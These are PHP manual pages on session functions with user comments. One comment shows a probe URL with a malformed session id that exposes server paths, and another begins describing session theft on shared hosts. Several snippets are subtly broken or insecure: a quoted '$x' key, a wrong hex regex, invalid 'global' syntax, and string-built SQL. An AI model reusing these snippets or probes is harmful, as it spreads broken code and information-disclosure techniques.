Return Values

session_is_registered() returns TRUE if there is a global variable with the name name registered in the current session, FALSE otherwise.

Notes

Note:

If $_SESSION (or $HTTP_SESSION_VARS for PHP 4.0.6 or less) is used, use isset() to check a variable is registered in $_SESSION.

Caution

If you are using $_SESSION
(or $HTTP_SESSION_VARS), do not use
session_register(),
session_is_registered() and
session_unregister().

User Contributed Notes

CertaiN 30-Aug-2014 05:15
If your session variables may have NULL value,  use array_key_exists() instead of isset(). If not, use isset() because it performs better than array_key_exists().
someone at the dot inter dot net 06-Mar-2014 08:48
A simple one-line function to emulate this in later versions of PHP:
function session_is_registered($x){return isset($_SESSION['$x']);}
someone at the dot inter dot net 06-Mar-2014 08:48
A simple one-line function to emulate this in later versions of PHP:
function session_is_registered($x){return isset($_SESSION['$x']);}
Sami 06-Feb-2014 06:56
I can not get the following code to work as it is returning an error on the session_is_registered() and do I have to change anything else in the code

Thank you

if(!session_is_registered('user_name')){

if (isset($_POST['username'])) {
$password1 = clean($_POST["password"]);
$username1 = clean($_POST["username"]);
$password2 = crypt($password1);

$result = @mysql_query ("select * from users where user_name = '".$username1."'");
$lim = @mysql_num_rows( $result );
//|| (strlen($username1) < 6) || (strlen($password1) < 6)
if( ($lim!=0)  ){
$row = @mysql_fetch_array($result);
$password=$row['user_password'];
if (crypt($password1, $password) == $password){
$sql = @mysql_query ("insert into logs (ip, cdate, status) values ('".$REMOTE_ADDR."','". date("Y-m-d H:i:s") ."', 'Login')");
session_register('user_id');
session_register('user_fullname');
session_register('user_name');

$_SESSION['user_name'] = $row['user_name'];
$_SESSION['user_fullname'] = $row['user_fullname'];
$_SESSION['user_id'] = $row['user_id'];
}//if crypt
else{
vectorjohn at example dot com 06-Dec-2013 03:03
The proper equivalent has nothing to do with isset().

Use array_key_exists() because session_is_registered returns true if the variable is in the session at all, even if it's falsy.
paimpozhil at gmail dot com 08-Apr-2013 01:54
For those who have an older application which uses the session_is_registered..and you want to use that in php5.4

You can just define the function if required

function session_is_registered($x)
{
    if (isset($_SESSION['$x']))
    return true;
    else
    return false;
}

May be add the checks to ensure function is not already existing..
amol_bhavsar1982 at hotmail dot com 23-Mar-2009 08:47
session_register() function is generating warnings. Therefore, instead of using:

<?php
$test = 'Here';
session_register('test');
?>

It is better :

<?php
$_SESSION['test'] = 'Here';
?>
miguel dot simoes at swirve dot com 13-Jun-2002 01:27
When using PHP 4.2.0 even on the same page where you registered the variable with:

session_register("someVar");

if you try to see if the variable is set and do not assign it a value before, the function used in the previous comment will give the same output.
 This may show that the variable is declared and will not be set until some value is give assign to it.
 I think that this way will give the option to register all the variables used for sure on the process on the first page and using them as the time comes.


Get and/or set the current session module

  • « session_is_registered
  • session_name »
  • PHP Manual
  • Session Functions
  • Get and/or set the current session module

session_module_name

(PHP 4, PHP 5)

session_module_name — Get and/or set the current session module

Description

string session_module_name ([ string $module ] )

session_module_name() gets the name of the current session module.

Parameters

module

If module is specified, that module will be used instead.

Return Values

Returns the name of the current session module.

User Contributed Notes

ts9904247885 at gmail dot com 16-Jun-2014 07:20
<?php
session_start();

$_SESSION['name']="Tushar";
$n=$_SESSION['name'];
$_SESSION['Age']="23";
$_SESSION['city']="Tarapur";

//echo session_encode()."<br/>";//Prints all Session Data
//echo session_is_registered($n);
echo session_module_name();//it prints "files"

?>

output:
files


Get and/or set the current session name

  • « session_module_name
  • session_regenerate_id »
  • PHP Manual
  • Session Functions
  • Get and/or set the current session name

session_name

(PHP 4, PHP 5)

session_name — Get and/or set the current session name

Description

string session_name ([ string $name ] )

session_name() returns the name of the current session. If name is given, session_name() will update the session name and return the old session name.

The session name is reset to the default value stored in session.name at request startup time. Thus, you need to call session_name() for every request (and before session_start() or session_register() are called).

Parameters

name

The session name references the name of the session, which is used in cookies and URLs (e.g. PHPSESSID). It should contain only alphanumeric characters; it should be short and descriptive (i.e. for users with enabled cookie warnings). If name is specified, the name of the current session is changed to its value.

Warning

The session name can't consist of digits only, at least one letter must be present. Otherwise a new session id is generated every time.

Return Values

Returns the name of the current session.

Examples

Example #1 session_name() example

<?php

/* set the session name to WebsiteID */

$previous_name = session_name("WebsiteID");

echo "The previous session name was $previous_name<br />";
?>

See Also

  • The session.name configuration directive

User Contributed Notes

Joseph Dalrymple 15-Apr-2011 08:52
For those wondering, this function is expensive!

On a script that was executing in a consistent 0.0025 seconds, just the use of session_name("foo") shot my execution time up to ~0.09s. By simply sacrificing session_name("foo"), I sped my script up by roughly 0.09 seconds.
relsqui at chiliahedron dot com 21-Feb-2009 08:07
Remember, kids--you MUST use session_name() first if you want to use session_set_cookie_params() to, say, change the session timeout. Otherwise it won't work, won't give any error, and nothing in the documentation (that I've seen, anyway) will explain why.

Thanks to brandan of bildungsroman.com who left a note under session_set_cookie_params() explaining this or I'd probably still be throwing my hands up about it.
php at wiz dot cx 28-Sep-2008 05:36
if you try to name a php session "example.com" it gets converted to "example_com" and everything breaks.

don't use a period in your session name.
slave at codegrunt dot com 22-Dec-2004 11:03
One gotcha I have noticed with session_name is that it will trigger a WARNING level error if the cookie or GET/POST variable value has something other than alphanumeric characters in it.  If your site displays warnings and uses PHP sessions this may be a way to enumerate at least some of your scripts:

http://example.com/foo.php?session_name_here=(bad)

Warning: session_start(): The session id contains invalid characters, valid characters are only a-z, A-Z and 0-9 in /some/path/foo.php on line 666

I did not see anything in the docs suggesting that one had to sanitize the PHP session ID values before opening the session but that appears to be the case.

Unfortunately session_name() always returns true so you have to actually get to the point of assigning variables values before you know whether you have been passed bad session data (as far as I can see).  After the error has been generated in other words.

Cheers
Hongliang Qiang 27-May-2004 10:48
This may sound no-brainer: the session_name() function will have no essential effect if you set session.auto_start to "true" in php.ini . And the obvious explanation is the session already started thus cannot be altered before the session_name() function--wherever it is in the script--is executed, same reason session_name needs to be called before session_start() as documented.

I know it is really not a big deal. But I had a quite hard time before figuring this out, and hope it might be helpful to someone like me.


Update the current session id with a newly generated one

  • « session_name
  • session_register_shutdown »
  • PHP Manual
  • Session Functions
  • Update the current session id with a newly generated one

session_regenerate_id

(PHP 4 >= 4.3.2, PHP 5)

session_regenerate_id — Update the current session id with a newly generated one

Description

bool session_regenerate_id ([ bool $delete_old_session = false ] )

session_regenerate_id() will replace the current session id with a new one, and keep the current session information.

When session.use_trans_sid is enabled, output must be started after session_regenerate_id() call. Otherwise, old session ID is used.

Parameters

delete_old_session

Whether to delete the old associated session file or not.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
4.3.3 | Since then, if session cookies are enabled, use of session_regenerate_id() will also submit a new session cookie with the new session id.
5.1.0 | Added the delete_old_session parameter.

Examples

Example #1 A session_regenerate_id() example

<?php
session_start();

$old_sessionid = session_id();

session_regenerate_id();

$new_sessionid = session_id();

echo "Old Session: $old_sessionid<br />";
echo "New Session: $new_sessionid<br />";

print_r($_SESSION);
?>

See Also

  • session_id() - Get and/or set the current session id
  • session_start() - Start new or resume existing session
  • session_name() - Get and/or set the current session name

User Contributed Notes

kgm_india at yahoo dot co dot in 25-Nov-2013 08:40
as far as I have understood reading this online notes,

session_name() is the name which is identified as session a through the cookies or http links.

session_id is  like a transaction within a session_name() and one session_name may have many session_id

each session_id has the corresponding data stored.

session_id are used in read and write callback under a session_name

whatever it is, first call the
 session_name(),
then call session_id ()
and then call start_session()

start_session will open the session_name, then check the session_id called before and use it in the read or write call back for storing or retrieving data

calling start_session() without session_name or session_id will use the default session_name and the default session_id in that order

I hope if the order is followed there should not be any problems.

do not call session_name or session_id after start_session(), if you are specific on using them.

thank you for others note.
spmtrap at yahoo dot com 31-Jan-2012 11:48
`session_regenerate_id` sends a new cookie but doesn't overwrite the value stored in `$_COOKIE`. After calling `session_destroy`, the open session ID is discarded, so simply restarting the session with `session_start` (as done in Ben Johnson's code) will re-open the original, though now empty, session for the current request (subsequent requests will use the new session ID). Instead of `session_destroy`+`session_start`, use the `$delete_old_session` parameter to `session_regenerate_id` to delete the previous session data.

<?php
session_start();
/* Create a new session, deleting the previous session data. */
session_regenerate_id(TRUE);
/* erase data carried over from previous session */
$_SESSION=array();
?>

To start a new session and leave the old untouched, simply leave out the argument to `session_regenerate_id`.
gr at gr5 dot org 31-Aug-2011 03:57
If you are trying to maintain 2 active sessions don't use session_regenerate_id().  Especially if the first session is closed and it's time to open the second.  Because the session id is cached you also have to explicitly set it the second time.

<?php
session_name('PHPSESSID'); // redundant - here for clarity
session_start();
// ...do stuff
session_write_close();

// now switch to session 2...
session_name('PHPSESSID_2');
if (isset($_COOKIE['phpsessid_2']))
    session_id($_COOKIE['phpsessid_2']); // not doing this will simply reopen the first session again
else
    session_id(sha1(mt_rand()); // dont use session_regenerate_id() here.  Not creating a new id will create two cookies with same session id and same session variables
session_start();
// ... do stuff with session 2
session_write_close();
?>
Ben Johnson 04-Oct-2010 03:50
To "start a new session", try the following:

<?php
session_start();
session_regenerate_id();
session_destroy();
unset($_SESSION);
session_start();
?>
raido dot aasoja at gmail dot com 27-Sep-2010 08:28
A note on lost sessions and trying to fix it with session_regenerate_id:
Make sure that you're not trying to push SimpleXML object to the session. It just won't go without first converting it to array. :)
tedivm at tedivm dot com 30-Dec-2008 03:36
I wrote the following code for a project I'm working on- it attempts to resolve the regenerate issue, as well as deal with a couple of other session related things.

I tried to make it a little more generic and usable (for instance, in the full version it throws different types of exceptions for the different types of session issues), so hopefully someone might find it useful.

<?php
function regenerateSession($reload = false)
{
    // This token is used by forms to prevent cross site forgery attempts
    if(!isset($_SESSION['nonce']) || $reload)
        $_SESSION['nonce'] = md5(microtime(true));

    if(!isset($_SESSION['IPaddress']) || $reload)
        $_SESSION['IPaddress'] = $_SERVER['REMOTE_ADDR'];

    if(!isset($_SESSION['userAgent']) || $reload)
        $_SESSION['userAgent'] = $_SERVER['HTTP_USER_AGENT'];

    //$_SESSION['user_id'] = $this->user->getId();

    // Set current session to expire in 1 minute
    $_SESSION['OBSOLETE'] = true;
    $_SESSION['EXPIRES'] = time() + 60;

    // Create new session without destroying the old one
    session_regenerate_id(false);

    // Grab current session ID and close both sessions to allow other scripts to use them
    $newSession = session_id();
    session_write_close();

    // Set session ID to the new one, and start it back up again
    session_id($newSession);
    session_start();

    // Don't want this one to expire
    unset($_SESSION['OBSOLETE']);
    unset($_SESSION['EXPIRES']);
}

function checkSession()
{
    try{
        if($_SESSION['OBSOLETE'] && ($_SESSION['EXPIRES'] < time()))
            throw new Exception('Attempt to use expired session.');

        if(!is_numeric($_SESSION['user_id']))
            throw new Exception('No session started.');

        if($_SESSION['IPaddress'] != $_SERVER['REMOTE_ADDR'])
            throw new Exception('IP Address mixmatch (possible session hijacking attempt).');

        if($_SESSION['userAgent'] != $_SERVER['HTTP_USER_AGENT'])
            throw new Exception('Useragent mixmatch (possible session hijacking attempt).');

        if(!$this->loadUser($_SESSION['user_id']))
            throw new Exception('Attempted to log in user that does not exist with ID: ' . $_SESSION['user_id']);

        if(!$_SESSION['OBSOLETE'] && mt_rand(1, 100) == 1)
        {
            $this->regenerateSession();
        }

        return true;

    }catch(Exception $e){
        return false;
    }
}

?>
soapergem at gmail dot com 30-Aug-2008 12:50
This can be a very dangerous function if you're not careful about how you handle things, because even though it generates a whole new set of session data, it keeps the old data "open" until the script terminates, locking out any other scripts trying to run concurrently with the old session id.

Recently I came across a situation where I wanted to explicitly pass in a session ID, copy the data from that session into a *new* session, and then continue operating under that new session, thereby allowing other scripts to use the old one concurrently. But I quickly found that these "other scripts" would not execute until the first script finished--even though it had already started a new session--because it kept the old session open.

So if you're trying to copy over session data to a new session to free up the old session for continued, concurrent use, here's some code to ensure nobody's feet get stepped on:

<?php

//  get session id of an existing session
$sid = $_GET['sid'];

//  start the old session to retrieve $_SESSION data
session_id($sid);
session_start();

//  start a new session; this copies the $_SESSION data over
session_regenerate_id();

//  hang on to the new session id
$sid = session_id();

//  close the old and new sessions
session_write_close();

//  re-open the new session
session_id($sid);
session_start();

/* main code here */

?>

This could probably be encapsulated into a function with one parameter as well to save space if it was a repeated thing.
primenetworkzx at gmail dot com 14-Jun-2008 08:40
If you are storing your session data in a database you have to manually update the session_id in the database. The session_set_save_handler() will not do it for you.

function UpdateSessID() {
    $old_sess_id = session_id();
    session_regenerate_id(false);
    $new_sess_id = session_id();

    $query = "UPDATE `session_table` SET `session_id` = '$new_sess_id' WHERE session_id = '$old_sess_id'";
        mysql_query($query);
}

Be sure to set session_regenerate_id() to FALSE since it's not really necessary to delete the whole record from MySQL and add it again. That's unnecessary overhead. Only changing the id matters.
Gant at BleachEatingFreaks dot com 24-Jan-2006 09:57
I am calling session_regenerate_id() from inside a method in an object.  Since session fixation can occur at permission changes, I have my object call session fixation at these particular security changes.

Unfortunately, it seems to fabricate some kind of temporary new session, and then the very next page that loads, it jumps back to the old session id.  There seems to be no way to make the regeneration perminent.
sopel 19-Sep-2005 02:32
for php 5.1> user probably worth visiting is http://ilia.ws/archives/47-session_regenerate_id-Improvement.html
dyer85 at gmail dot com 25-Aug-2005 07:59
There could be a potential problem with elger at NOSPAM dot yellowbee dot nl's a few posts below. In the code, was used the REQUEST_URI server variable, which, in some cases might already contain the query string. Therefore, always apending '?whatever=foo' would occasionally cause the script to malfunction. I suggest using PHP_SELF, which will not contain the query string after the file.
18-Jul-2005 05:39
It would be more reliable to use the following regular expression when checking session_ids, as HEX strings (MD5) are only of characters a-f and 0-9;

preg_match('/[0-f]/i', $session_id);
Nicolas dot Chachereau at Infomaniak dot ch 02-Jun-2005 08:40
Session_destroy() does not only destroy the data associated with the current session_id (i.e. the file if you use the default session save handler), but also the session itself: if you call session_destroy() and then session_regenerate_id(), it will return false, and session_id() won't return anything. In order to manipulate a session after destroying it, you need to restart it.

So in fact, the code mentionned by chris won't work. If you want to destroy the file associated with the old session_id, try the following:
<?php
session_start();
$old_sessid = session_id();
session_regenerate_id();
$new_sessid = session_id();
session_id($old_sessid);
session_destroy();

//If you don't copy the $_SESSION array, you won't be able to use the data associated with the old session id.
$old_session = $_SESSION;
session_id($new_sessid);
session_start();
$_SESSION = $old_session;
//...
?>

Note: this technique will send 3 Set-Cookie headers (one on each session_start() and one on session_regenerate_id()). I don't think this is a problem, but if it appears to be one, you could either leave it alone and wait for the garbage collector to catch the file associated with the old session, or try to delete the file with unlink().
chris at knowledge dot tee-vee 17-Jan-2005 02:51
licp - no, session_regenerate_id() does not destroy any saved session data.

elger, I prefer the following order

[code]
// populate $_SESSION with any previously saved session data for the current session_id
session_start();
...
// delete any saved data associated with current session_id, $_SESSION is not changed
session_destroy();

// change session_id, $_SESSION not altered
session_regenerate_id();
...
// save any $_SESSION data under the current session_id
session_close();
[/code]
licp at hotmail dot com 07-Jan-2005 05:07
By inspecting the source code, I am not sure that after session_regenerate_id() run, the original session data does not destroy (still keeps at the system) that sniffers still hijack by applying original session identifier.

In addition, I find that if user-level session storage handler is used. session_regenerate_id() does not work.
php at cny dot de 20-Dec-2004 06:08
Also note that REMOTE_ADDR may change on every request if the user comes through a proxy farm. Most AOL-users do.
ross at kndr dot org 16-Nov-2004 12:41
In a previous note, php at 5mm de describes how to prevent session hijacking by
ensuring that the session id provided matches the HTTP_USER_AGENT and REMOTE_ADDR fields that were present when the session id was first issued.  It should be noted that HTTP_USER_AGENT is supplied by the client, and so can be easily modified by a malicious user.  Also, the client IP addresses can be spoofed, although that's a bit more difficult.  Care should be taken when relying on the session for authentication.
elger at NOSPAM dot yellowbee dot nl 28-Oct-2004 11:10
Take good notice of the new cookie being sent on calling session_regenerate_id on cookie-enabled sessions.
Make sure your page is reloaded otherwise you'll get an "session_destroy(): Session object destruction failed" error. So here are the examples:

Wrong:
<?php
    session_start();
    session_regenerate_id();
    session_destroy();
?>

Correct-like:
<?php
if (!$_GET['mode']){
    session_start();
    session_regenerate_id();
    header('location: '.$_SERVER['REQUEST_URI'].'?mode=destroy');
} else {
    session_start();
    session_destroy();
}
?>

I noted this because googleing on the previous mentioned error leads to all kinds of bug reports, but not to the solution. (which is, of course, to read the manual)
timo at frenay dot net 26-Aug-2004 08:32
This function is vital in preventing session fixation attacks, but is unfortunately missing in PHP versions prior to 4.3.2. This creates a serious security problem if you can't update your PHP version, like me. Therefore I attempted to port this function to PHP itself:

<?php
    if (!function_exists('session_regenerate_id')) {
        function php_combined_lcg() {
            $tv = gettimeofday();
            $lcg['s1'] = $tv['sec'] ^ (~$tv['usec']);
            $lcg['s2'] = posix_getpid();

            $q = (int) ($lcg['s1'] / 53668);
            $lcg['s1'] = (int) (40014 * ($lcg['s1'] - 53668 * $q) - 12211 * $q);
            if ($lcg['s1'] < 0)
                $lcg['s1'] += 2147483563;

            $q = (int) ($lcg['s2'] / 52774);
            $lcg['s2'] = (int) (40692 * ($lcg['s2'] - 52774 * $q) - 3791 * $q);
            if ($lcg['s2'] < 0)
                $lcg['s2'] += 2147483399;

            $z = (int) ($lcg['s1'] - $lcg['s2']);
            if ($z < 1) {
                $z += 2147483562;
            }

            return $z * 4.656613e-10;
        }

        function session_regenerate_id() {
            $tv = gettimeofday();
            $buf = sprintf("%.15s%ld%ld%0.8f", $_SERVER['REMOTE_ADDR'], $tv['sec'], $tv['usec'], php_combined_lcg() * 10);
            session_id(md5($buf));
            if (ini_get('session.use_cookies'))
                setcookie('PHPSESSID', session_id(), NULL, '/');
            return TRUE;
        }
    }
?>

To test this:
<?php
    session_start();
    $sid = session_id();
    session_regenerate_id();
    echo "Old session ID: ", $sid, "\nNew session ID: ", session_id(), "\n";
?>

- will output something similar to:
Old session ID: 6e3521f44be4fc452b368e703f044ca1
New session ID: 1c6dac9a3e794f164d4115872b902471
babel at nosqamplease sympatico ca 23-Feb-2004 05:48
To add to php at 5mm de's comments:

If the session is held over https, it's even better to save the client's cert or ssl session id instead of the hostname or ip, as it's proxy-transparent and more secure.
php at 5mm de 05-Sep-2003 03:01
This feature seems to create a new session ID without clearing the old session data. This is a very important feature for security validation:

$usedns = TRUE; // for eliminating failture by proxys using IP chains, but slower

$useragent = getenv("HTTP_USER_AGENT");
$host = getenv("REMOTE_ADDR");
$dns = $global['dns'] ? @gethostbyaddr($host):$host;

session_start();

if(session_is_registered('securitycheck')) {
    if(
            (($_SESSION['session']['host'] != $this->host) && !$usedns)
         || ($_SESSION['session']['dns'] != $this->dns)
         || ($_SESSION['session']['useragent'] != $this->useragent)
    ) {
        session_regenerate_id();
        session_unset();
    }
} else {
    $currentdata = array();
    $currentdata['host'] = $this->host;
    $currentdata['dns'] = $this->dns;
    $currentdata['useragent'] = $this->useragent;

    session_register('securitycheck', $currentdata);
}

If sombody steals an active SID (e.g. by referrer or injection attack), he can�t be validated because of either the host / dns or useragent and will get a new (empty) SID, without interrupting the original session.

Please mail me for any comments: php at 5mm de
madsen at sjovedyr.dk 28-Aug-2003 04:26
I had problems with a proxy changing a visitors session_id-cookie, so he'd get a LOT of errors when visiting my site.
I handled the bogus session-id's like this. (Note: It only works in versions > 4.3.2.)

<?php
// Start a session and suppress error-messages.
@session_start();

// Catch bogus session-id's.
if (!preg_match("/^[0-9a-z]*$/i", session_id())) {

    // Output a warning about the messed up session-id.
    $error->handleError("WARN", "Your session id is messed up, you might not be able to use some features on this site.");

    // Generate a fresh session-id.
    session_regenerate_id();
}

// Site contents.
?>

Hope someone can use it.


Session shutdown function

  • « session_regenerate_id
  • session_register »
  • PHP Manual
  • Session Functions
  • Session shutdown function

session_register_shutdown

(PHP >=5.4.0)

session_register_shutdown — Session shutdown function

Description

void session_register_shutdown ( void )

Registers session_write_close() as a shutdown function.

Parameters

This function has no parameters.

Return Values

No value is returned.

Errors/Exceptions

Emits E_WARNING if registering the shutdown function fails.

User Contributed Notes

Rouven Weling 01-Jul-2012 11:42
With older versions of PHP you can use this snippet for the same effect:

<?php register_shutdown_function('session_write_close'); ?>


Register one or more global variables with the current session

  • « session_register_shutdown
  • session_reset »
  • PHP Manual
  • Session Functions
  • Register one or more global variables with the current session

session_register

(PHP 4, PHP 5 < 5.4.0)

session_register — Register one or more global variables with the current session

Description

bool session_register ( mixed $name [, mixed $... ] )

session_register() accepts a variable number of arguments, any of which can be either a string holding the name of a variable or an array consisting of variable names or other arrays. For each name, session_register() registers the global variable with that name in the current session.

You can also create a session variable by simply setting the appropriate member of the $_SESSION or $HTTP_SESSION_VARS (PHP < 4.1.0) array.

<?php
// Use of session_register() is deprecated
$barney = "A big purple dinosaur.";
session_register("barney");

// Use of $_SESSION is preferred, as of PHP 4.1.0
$_SESSION["zim"] = "An invader from another planet.";

// The old way was to use $HTTP_SESSION_VARS
$HTTP_SESSION_VARS["spongebob"] = "He's got square pants.";
?>

If session_start() was not called before this function is called, an implicit call to session_start() with no parameters will be made. $_SESSION does not mimic this behavior and requires session_start() before use.

Warning

This function has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.

Parameters

name

A string holding the name of a variable or an array consisting of variable names or other arrays.

...

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Caution

If you want your script to work regardless of register_globals, you need to instead use the $_SESSION array as $_SESSION entries are automatically registered. If your script uses session_register(), it will not work in environments where the PHP directive register_globals is disabled.

Note: register_globals: important note

As of PHP 4.2.0, the default value for the PHP directive register_globals is off. The PHP community discourages developers from relying on this directive, and encourages the use of other means, such as the superglobals.

Caution

This registers a global variable. If you want to register a session variable from within a function, you need to make sure to make it global using the global keyword or the $GLOBALS[] array, or use the special session arrays as noted below.

Caution

If you are using $_SESSION
(or $HTTP_SESSION_VARS), do not use
session_register(),
session_is_registered(), and
session_unregister().

Note:

It is currently impossible to register resource variables in a session. For example, you cannot create a connection to a database and store the connection id as a session variable and expect the connection to still be valid the next time the session is restored. PHP functions that return a resource are identified by having a return type of resource in their function definition. A list of functions that return resources are available in the resource types appendix.

If $_SESSION (or $HTTP_SESSION_VARS for PHP 4.0.6 or less) is used, assign values to $_SESSION. For example: $_SESSION['var'] = 'ABC';

See Also

  • session_is_registered() - Find out whether a global variable is registered in a session
  • session_unregister() - Unregister a global variable from the current session
  • $_SESSION

User Contributed Notes

tecnico at overant dot com 29-Aug-2013 08:49
If you have many websites with these functions in the source code (like me) you can include the following functions in some kind of include.php that you have:

function session_register($session)
{
  //
}

function session_unregister($session)
{
  unset($_SESSION[$session]);
}

In this way the PHP interpreter detects the functions and do not return the error, and the maintenance work is minimized.
klein at sup4u dot de 29-Jun-2011 01:42
in addition to function set_session_vars instead of replacing all $var with $_SESSION['var'],
 you could get all set session-vars in prevoius scripts with this function

<?php
function get_session_vars() {
    $nb_args=func_num_args();
    $arg_list=func_get_args();
    for($i=0;$i<$nb_args;$i++) {
        global $$arg_list[$i] = $_SESSION[$arg_list[$i]];
    }
}
?>
yarco dot w at gmail dot com 01-Oct-2010 05:17
You *MUST* notice that

session_register($var)

*IS NOT*

$_SESSION[$var] = $$var;

it is

if (!isset($_SESSION[$var]))
  $_SESSION[$var] = $$var;

when migrating from old style code.
Ezion oudpapierdoos at gmail dot com 17-Feb-2010 03:38
Below is a fix that may be included in older code to make it work with PHP6.
When needed it recreates the functions
- session_register()
- session_is_registered()
- session_unregister()

The functions inside the function fix_session_register() are only available  after fix_session_register() has run.
Therefore in PHP<6 where there already is a session_register() nothing happens.

<?php
// Fix for removed Session functions
function fix_session_register(){
    function session_register(){
        $args = func_get_args();
        foreach ($args as $key){
            $_SESSION[$key]=$GLOBALS[$key];
        }
    }
    function session_is_registered($key){
        return isset($_SESSION[$key]);
    }
    function session_unregister($key){
        unset($_SESSION[$key]);
    }
}
if (!function_exists('session_register')) fix_session_register();
?>

[EDIT BY danbrown AT php DOT net: Bugfix provided by "dr3w" on 02-APR-2010: "its [sic] function_exists with an S at the end".]
Scarab 13-Nov-2009 10:14
If you want to store an  object into the session, you have to check up that object can be serialized at all.
For example, if your object contains aggregated PDO object (which can't be serialized), you will get an error and no data would be stored.
rob at akrabat dot com 14-Aug-2009 11:18
if you remove session_register() calls and replace with $_SESSION assignments, make sure that it wasn't being used in place of session_start(). If it was, you'll need to add a call to session_start() too, before you assign to $_SESSION.
david dot demri at gmail dot com 26-May-2009 04:15
If you have an old code with a lot of call to the function session_register(), and you would like to make it compatible with PHP5 or PHP6, instead of rewriting all your code by replacing this function by $_SESSION['var']="val"; you could use the function set_session_vars(), that is used exactly the same way than session_register() (but there is no implicit call to session_start() ).

<?php
function set_session_vars() {
    $nb_args=func_num_args();
    $arg_list=func_get_args();
    for($i=0;$i<$nb_args;$i++) {
        global $$arg_list[$i];
        $_SESSION[$arg_list[$i]] = $$arg_list[$i];
    }
}
?>
kavih7 at yahoo dot com 20-May-2009 01:15
For those of you who use this function (session_register that is), even though the manual does specify that this function implicitly calls session_start(), I just wanted to reiterate that fact. It is also important to know that if you ever switch from session_register to using $_SESSION, make sure to call session_start before adding items to the $_SESSION variable, because unlike session_register, no implicit call to session_start is done.

Another reason I explain this is because I ran into a problem in which you can add items to the $_SESSION variable all you want, but if session_start is not called before adding them, they will not actually be saved to the session. Using the same code, though, and replacing the $_SESSION assignments with session_register without calling session_start WILL save that info to the session.

It would be nice to have PHP check for writes to the $_SESSION variable and complain with a warning if session_start hasn't been called.
guideng at unlv dot nevada dot edu 01-Jun-2006 10:10
Make sure you put session_start() at the beggining of your script.

My sessions kept unsetting and I finally figured out why.

On my script, session_start() has to be said and uses cookies to set the session.

But I was outputting html prior to calling session_start(), which prevented it from succeeding becouse it uses the header function to place the cookies.

Once html has been outputed, session_start() can't use the header function to set cookies, hence session_start() fails and no session can be started.
martijn at brothersinart dot net 11-Apr-2006 11:04
Please note that if you use a "|" sign in a variable name your entire session will be cleared, so the example below will clear out all the contents of your session.

<?php
session_start();
$_SESSION["foo|bar"] = "foo";
?>

It took me quite some time finding out why my session data kept disappearing. According to this bugreport this behaviour is intended.
http://bugs.php.net/bug.php?id=33786
mikej 21-Nov-2004 10:40
I've noticed that if you try to assign a value to a session variable with a numeric name, the variable will not exist in future sessions.
For example, if you do something like:
session_start();
$_SESSION['14'] = "blah";
print_r($_SESSION);

It'll display:
Array ( [14] => "blah" )

But if on another page (with same session) you try
session_start();
print_r($_SESSION);

$_SESSION[14] will no longer exist.

Maybe everyone else already knows this, but I didn't realize it until messing around with a broken script for quite a while.
baldanders 12-Nov-2004 08:05
If you are using sessions and use session_register()  to register objects, these objects are serialized automatically at the end of each PHP page, and are unserialized automatically on each of the following pages. This basically means that these objects can show up on any of your pages once they become part of your session.


Re-initialize session array with original values

  • « session_register
  • session_save_path »
  • PHP Manual
  • Session Functions
  • Re-initialize session array with original values

session_reset

(PHP 5 >= 5.6.0)

session_reset — Re-initialize session array with original values

Description

bool session_reset ( void )

session_reset() reinitializes a session with original values stored in session storage. This function requires active session and discards changes in $_SESSION.

Return Values

This function returns TRUE if a session was successfully reinitialized, otherwise FALSE.

See Also

  • $_SESSION
  • The session.auto_start configuration directive
  • session_start() - Start new or resume existing session
  • session_abort() - Discard session array changes and finish session
  • session_commit() - Alias of session_write_close

User Contributed Notes

There are no user contributed notes for this page.


Get and/or set the current session save path

  • « session_reset
  • session_set_cookie_params »
  • PHP Manual
  • Session Functions
  • Get and/or set the current session save path

session_save_path

(PHP 4, PHP 5)

session_save_path — Get and/or set the current session save path

Description

string session_save_path ([ string $path ] )

session_save_path() returns the path of the current directory used to save session data.

Parameters

path

Session data path. If specified, the path to which data is saved will be changed. session_save_path() needs to be called before session_start() for that purpose.

Note:

On some operating systems, you may want to specify a path on a filesystem that handles lots of small files efficiently. For example, on Linux, reiserfs may provide better performance than ext2fs.

Return Values

Returns the path of the current directory used for data storage.

See Also

  • The session.save_path configuration directive

User Contributed Notes

hi at chintan dot pw 21-Sep-2014 11:39
To Change the session path to a sub folder of your projects

ini_set('session.save_path',getcwd(). '/tmp');

saves the session in "tmp" folder.
mdibbets at outlook dot nospam 03-Oct-2013 04:45
I made a folder next to the public html folder and placed these lines at the very first point in index.php

Location of session folder:

/domains/account/session

location of index.php

/domains/account/public_html/index.php

What I placed in index.php at line 0:

<?php
ini_set('session.save_path',realpath(dirname($_SERVER['DOCUMENT_ROOT']) . '/../session'));
session_start();

This is the only solution that worked for me. Hope this helps someone.
branislav dot ristic at gmail dot com 01-Jun-2010 12:28
After a lot of searches, tests and pain, the only one that worked for me was this:

session_save_path(realpath(dirname($_SERVER['DOCUMENT_ROOT']) . '/../session'));
alvaro at demogracia dot com 26-May-2010 12:42
Debian does not use the default garbage collector for sessions. Instead, it sets session.gc_probability to zero and it runs a cron job to clean up old session data in the default directory.

As a result, if your site sets a custom location with session_save_path() you also need to set a value for session.gc_probability, e.g.:

<?php
session_save_path('/home/example.com/sessions');
ini_set('session.gc_probability', 1);
?>

Otherwise, old files in '/home/example.com/sessions' will never get removed!
Matthias H. (DE) 14-Mar-2010 12:40
Under PHP for Windows, you can improve the speed, when you store all session-files on ramdisk. A freeware-ramdisk you can download by http://www.techsnack.net/gavotte-ramdisk-free-virtual-hardisk .

A other alternativ is store you session-datas to apc-user-cache (see php-apc-extension).
TK 23-Feb-2010 02:29
After a search for the cause of a issue causing users to have to login twice, I've found a call to session_save_path() was the culprit.

What was happening was: the session save path was set, a session was opened, some variables were set and the session was closed.  This was resulting in an empty file in the specified session save path and of course no session data on the next page load.  Oddly, on the second attempt the data was saved as expected.

I found that removing the call to session_save_path() resolved the issue.  My final solution was to replace the call to session_save_path($path) with an equivalent call to ini_set('session.save_path', $path).
sampathperera at hotmail dot com - Sri Lanka 06-Feb-2008 08:25
Session on clustered web servers !

We had problem in PHP session handling with 2 web server cluster. Problem was one servers session data was not available in other server.

So I made a simple configuration in both server php.ini file. Changed session.save_path default value to shared folder on both servers (/mnt/session/).

It works for me. :)
webmaster at gardenchemicals dot co dot uk 16-Sep-2004 04:59
This is an absolute must if you have an important login on a shared server. Without it, other users of the server can do the following to bypass login:

* Visit login page, browse through cookies and grab the session id.
